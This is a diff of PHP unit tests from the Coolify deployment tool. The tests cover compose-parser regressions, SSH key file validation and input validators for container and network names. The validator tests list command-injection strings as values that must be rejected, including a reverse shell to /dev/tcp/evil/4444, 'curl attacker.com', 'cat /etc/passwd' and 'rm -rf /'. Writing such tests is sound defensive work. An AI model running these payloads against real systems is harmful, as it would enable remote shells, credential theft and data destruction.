* Regression test for GitHub issue #8885.
* Regression test for GitHub issues #8885 and #9136.
*/
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
@@ -14,8 +14,8 @@ it('uses firstOrCreate for simple variable references in serviceParser to preser
// This is the key === parsedValue branch
expect($parsersFile)->toContain(
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
' $envVar = $resource->environment_variables()->firstOrCreate('
" // Ensure the variable exists in DB for .env generation and UI display\n".
' $resource->environment_variables()->firstOrCreate('
);
});
@@ -46,15 +46,15 @@ it('uses firstOrCreate for simple variable refs without default in serviceParser
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
});
it('populates environment array with saved DB value instead of raw compose variable', function () {
it('does not replace self-referencing variable values in the environment array', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
// not the raw compose variable reference (e.g., ${DATABASE_URL})
// This pattern should appear in both parsers for all variable reference types
expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
// Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR}
// reference replaced with the DB value in the compose environment section.
// Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time.
// This prevents stale values when users update env vars without re-parsing compose.
expect($parsersFile)->toContain('Keep the ${VAR} reference in compose');
expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;');
});
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
+10 -7
View File
@@ -7,22 +7,24 @@
* These tests verify the fix for the issue where changing an image in a
* docker-compose file would create a new service instead of updating the existing one.
*/
it('ensures service parser does not include image in firstOrCreate query', function () {
it('ensures service parser does not include image in trusted service creation query', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that firstOrCreate is called with only name and service_id
// and NOT with image parameter in the ServiceApplication presave loop
// Check that trusted creation only uses name and service_id
// and does not include image in the creation payload
expect($parsersFile)
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
});
it('ensures service parser updates image after finding or creating service', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that image update logic exists after firstOrCreate
// Check that image update logic exists after the trusted create/find branch
expect($parsersFile)
->toContain('// Update image if it changed')
->toContain('if ($savedService->image !== $image) {')
@@ -39,7 +41,8 @@ it('ensures parseDockerComposeFile does not create duplicates on null savedServi
// The new code checks for null within the else block and creates only if needed
expect($sharedFile)
->toContain('if (is_null($savedService)) {')
->toContain('$savedService = ServiceDatabase::create([');
->toContain('$savedService = ServiceDatabase::create([')
->toContain('$savedService = ServiceApplication::create([');
});
it('verifies image update logic is present in parseDockerComposeFile', function () {
+208
View File
@@ -0,0 +1,208 @@
<?php
namespace Tests\Unit;
use App\Helpers\SshMultiplexingHelper;
use App\Models\PrivateKey;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;
use Tests\TestCase;
/**
* Tests for SSH key validation to prevent sporadic "Permission denied" errors.
*
* The root cause: validateSshKey() only checked file existence, not content.
* When a key was rotated in the DB but the old file persisted on disk,
* SSH would use the stale key and fail with "Permission denied (publickey)".
*
* @see https://github.com/coollabsio/coolify/issues/7724
*/
class SshKeyValidationTest extends TestCase
{
private string $diskRoot;
protected function setUp(): void
{
parent::setUp();
$this->diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid();
File::ensureDirectoryExists($this->diskRoot);
config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]);
app('filesystem')->forgetDisk('ssh-keys');
}
protected function tearDown(): void
{
File::deleteDirectory($this->diskRoot);
parent::tearDown();
}
private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey
{
$privateKey = new class extends PrivateKey
{
public int $storeCallCount = 0;
public function refresh()
{
return $this;
}
public function getKeyLocation()
{
return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
}
public function storeInFileSystem()
{
$this->storeCallCount++;
$filename = "ssh_key@{$this->uuid}";
$disk = Storage::disk('ssh-keys');
$disk->put($filename, $this->private_key);
$keyLocation = $disk->path($filename);
chmod($keyLocation, 0600);
return $keyLocation;
}
};
$privateKey->uuid = (string) Str::uuid();
$privateKey->private_key = $keyContent;
return $privateKey;
}
private function callValidateSshKey(PrivateKey $privateKey): void
{
$reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey');
$reflection->setAccessible(true);
$reflection->invoke(null, $privateKey);
}
public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions()
{
$privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT');
$filename = "ssh_key@{$privateKey->uuid}";
$disk = Storage::disk('ssh-keys');
$disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT');
$keyPath = $disk->path($filename);
chmod($keyPath, 0644);
$this->callValidateSshKey($privateKey);
$this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename));
$this->assertSame(1, $privateKey->storeCallCount);
$this->assertSame(0600, fileperms($keyPath) & 0777);
}
public function test_validate_ssh_key_creates_missing_file()
{
$privateKey = $this->makePrivateKey('MY_KEY_CONTENT');
$filename = "ssh_key@{$privateKey->uuid}";
$disk = Storage::disk('ssh-keys');
$this->assertFalse($disk->exists($filename));
$this->callValidateSshKey($privateKey);
$this->assertTrue($disk->exists($filename));
$this->assertSame('MY_KEY_CONTENT', $disk->get($filename));
$this->assertSame(1, $privateKey->storeCallCount);
}
public function test_validate_ssh_key_skips_rewrite_when_content_matches()
{
$privateKey = $this->makePrivateKey('SAME_KEY_CONTENT');
$filename = "ssh_key@{$privateKey->uuid}";
$disk = Storage::disk('ssh-keys');
$disk->put($filename, 'SAME_KEY_CONTENT');
$keyPath = $disk->path($filename);
chmod($keyPath, 0600);
$this->callValidateSshKey($privateKey);
$this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
$this->assertSame('SAME_KEY_CONTENT', $disk->get($filename));
}
public function test_validate_ssh_key_fixes_permissions_without_rewrite()
{
$privateKey = $this->makePrivateKey('KEY_CONTENT');
$filename = "ssh_key@{$privateKey->uuid}";
$disk = Storage::disk('ssh-keys');
$disk->put($filename, 'KEY_CONTENT');
$keyPath = $disk->path($filename);
chmod($keyPath, 0644);
$this->callValidateSshKey($privateKey);
$this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
$this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite');
}
public function test_store_in_file_system_enforces_correct_permissions()
{
$privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST');
$privateKey->storeInFileSystem();
$filename = "ssh_key@{$privateKey->uuid}";
$keyPath = Storage::disk('ssh-keys')->path($filename);
$this->assertSame(0600, fileperms($keyPath) & 0777);
}
public function test_store_in_file_system_lock_file_persists()
{
// Use the real storeInFileSystem to verify lock file behavior
$disk = Storage::disk('ssh-keys');
$uuid = (string) Str::uuid();
$filename = "ssh_key@{$uuid}";
$keyLocation = $disk->path($filename);
$lockFile = $keyLocation.'.lock';
$privateKey = new class extends PrivateKey
{
public function refresh()
{
return $this;
}
public function getKeyLocation()
{
return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
}
protected function ensureStorageDirectoryExists()
{
// No-op in test — directory already exists
}
};
$privateKey->uuid = $uuid;
$privateKey->private_key = 'LOCK_TEST_KEY';
$privateKey->storeInFileSystem();
// Lock file should persist (not be deleted) to prevent flock race conditions
$this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem');
}
public function test_server_model_detects_private_key_id_changes()
{
$reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted');
$filename = $reflection->getFileName();
$startLine = $reflection->getStartLine();
$endLine = $reflection->getEndLine();
$source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1));
$this->assertStringContainsString(
"wasChanged('private_key_id')",
$source,
'Server saved event should detect private_key_id changes'
);
}
}
@@ -0,0 +1,28 @@
<?php
use App\Support\ValidationPatterns;
it('rejects container IDs with command injection characters', function (string $id) {
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
})->with([
'semicolon injection' => 'x; id > /tmp/pwned',
'pipe injection' => 'x | cat /etc/passwd',
'command substitution backtick' => 'x`whoami`',
'command substitution dollar' => 'x$(whoami)',
'ampersand background' => 'x & rm -rf /',
'double ampersand' => 'x && curl attacker.com',
'newline injection' => "x\nid",
'space injection' => 'x id',
'redirect output' => 'x > /tmp/pwned',
'redirect input' => 'x < /etc/passwd',
]);
it('accepts valid Docker container IDs', function (string $id) {
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
})->with([
'short hex id' => 'abc123def456',
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
'container name' => 'my-container',
'name with dots' => 'my.container.name',
'name with underscores' => 'my_container_name',
]);
+6 -5
View File
@@ -21,6 +21,8 @@ it('accepts valid RFC 1123 hostnames', function (string $hostname) {
'subdomain' => 'web.app.example.com',
'max label length' => str_repeat('a', 63),
'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59),
'uppercase hostname' => 'MyServer',
'mixed case fqdn' => 'MyServer.Example.COM',
]);
it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) {
@@ -36,8 +38,7 @@ it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $exp
expect($failCalled)->toBeTrue();
expect($errorMessage)->toContain($expectedError);
})->with([
'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'underscore' => ['my_server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'],
'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'],
'starts with dot' => ['.myserver', 'cannot start or end with a dot'],
@@ -46,9 +47,9 @@ it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $exp
'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'],
'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'],
'empty label' => ['my..server', 'consecutive dots'],
'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
'special characters' => ['my@server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
'space' => ['my server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
'shell metacharacters' => ['my;server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
]);
it('accepts empty hostname', function () {
+132
View File
@@ -0,0 +1,132 @@
<?php
use App\Support\ValidationPatterns;
it('accepts valid names with common characters', function (string $name) {
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'My Server',
'name with hyphen' => 'my-server',
'name with underscore' => 'my_server',
'name with dot' => 'my.server',
'name with slash' => 'my/server',
'name with at sign' => 'user@host',
'name with ampersand' => 'Tom & Jerry',
'name with parentheses' => 'My Server (Production)',
'name with hash' => 'Server #1',
'name with comma' => 'Server, v2',
'name with colon' => 'Server: Production',
'name with plus' => 'C++ App',
'unicode name' => 'Ünïcödé Sërvér',
'unicode chinese' => '我的服务器',
'numeric name' => '12345',
'complex name' => 'App #3 (staging): v2.1+hotfix',
]);
it('rejects names with dangerous characters', function (string $name) {
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon' => 'my;server',
'pipe' => 'my|server',
'dollar sign' => 'my$server',
'backtick' => 'my`server',
'backslash' => 'my\\server',
'less than' => 'my<server',
'greater than' => 'my>server',
'curly braces' => 'my{server}',
'square brackets' => 'my[server]',
'tilde' => 'my~server',
'caret' => 'my^server',
'question mark' => 'my?server',
'percent' => 'my%server',
'double quote' => 'my"server',
'exclamation' => 'my!server',
'asterisk' => 'my*server',
]);
it('generates nameRules with correct defaults', function () {
$rules = ValidationPatterns::nameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('min:3')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::NAME_PATTERN);
});
it('generates nullable nameRules when not required', function () {
$rules = ValidationPatterns::nameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) {
$name = generate_application_name($repo, $branch, 'testcuid');
expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
})->with([
'normal repo' => ['owner/my-app', 'main'],
'repo with dots' => ['repo.with.dots', 'feat/branch'],
'repo with plus' => ['C++ App', 'main'],
'branch with parens' => ['my-app', 'fix(auth)-login'],
'repo with exclamation' => ['my-app!', 'main'],
'repo with brackets' => ['app[test]', 'develop'],
]);
it('falls back to random name when repo produces empty name', function () {
$name = generate_application_name('!!!', 'main', 'testcuid');
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
});
it('accepts valid Docker network names', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
})->with([
'simple name' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
'alphanumeric' => 'network123',
'starts with number' => '1network',
'complex valid' => 'coolify-proxy.net_2',
]);
it('rejects Docker network names with shell metacharacters', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'ampersand injection' => 'net&rm -rf /',
'space' => 'net work',
'newline' => "net\nwork",
'starts with dot' => '.network',
'starts with hyphen' => '-network',
'slash' => 'net/work',
'backslash' => 'net\\work',
'empty string' => '',
'single quotes' => "net'work",
'double quotes' => 'net"work',
'greater than' => 'net>work',
'less than' => 'net<work',
]);
it('generates dockerNetworkRules with correct defaults', function () {
$rules = ValidationPatterns::dockerNetworkRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
});
it('generates nullable dockerNetworkRules when not required', function () {
$rules = ValidationPatterns::dockerNetworkRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});